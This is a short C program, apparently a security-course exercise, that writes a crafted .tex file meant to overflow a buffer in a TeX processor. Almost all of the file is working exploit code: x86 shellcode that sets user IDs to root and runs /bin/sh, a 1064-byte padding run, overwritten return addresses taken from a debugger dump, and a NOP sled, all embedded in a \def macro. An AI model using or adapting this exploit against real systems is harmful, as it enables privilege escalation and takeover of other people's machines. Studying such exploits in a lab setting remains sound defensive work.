/* The below file has been creeated for prepearing the .tex file which will be helpful in launching the exploit. */ //Global Variables char values[] = { //Shell Code responsible for the exploit 0x31, 0xc0, 0xb0, 0x46, 0x31, 0xdb, 0x31, 0xc9, 0xcd, 0x80, 0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0xb0, 0x0b, 0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x80, 0xe8, 0xe5, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68 } ; int main(){ int i; printf("\\def\\row#1{"); //Firstly, adding all As in the definition for(i=0;i<1064;i++) putchar('A'); //Based on the memory values obtained after debugging, args corresponds to for (i = 0;i < 8;++i) { putchar(0x40); putchar(0x73); putchar(0x08); putchar(0x08); } putchar(0x94); putchar(0xf0); putchar(0xff); putchar(0xbf); for (i = 0;i < 2;++i) { putchar(0xa0); putchar(0x9a); putchar(0x08); putchar(0x08); } //For hitting the smasher, we will have to add the following values which we got from the dump for (i = 0;i < 5;++i) { putchar(0x94); putchar(0xf0); putchar(0xff); putchar(0xbf); } //Adding all the NOPs for (i = 0;i < 256;++i) putchar(0x90); putchar(0xeb); putchar(sizeof(values)); for (i = 0;i < sizeof values;++i) putchar(values[i]); putchar(0xe8); putchar(251 - sizeof values); putchar(0xff); putchar(0xff); putchar(0xff); printf("}\n"); printf("\\begin{document}\n"); printf("\\row a\n"); printf("\\end{document}\n"); }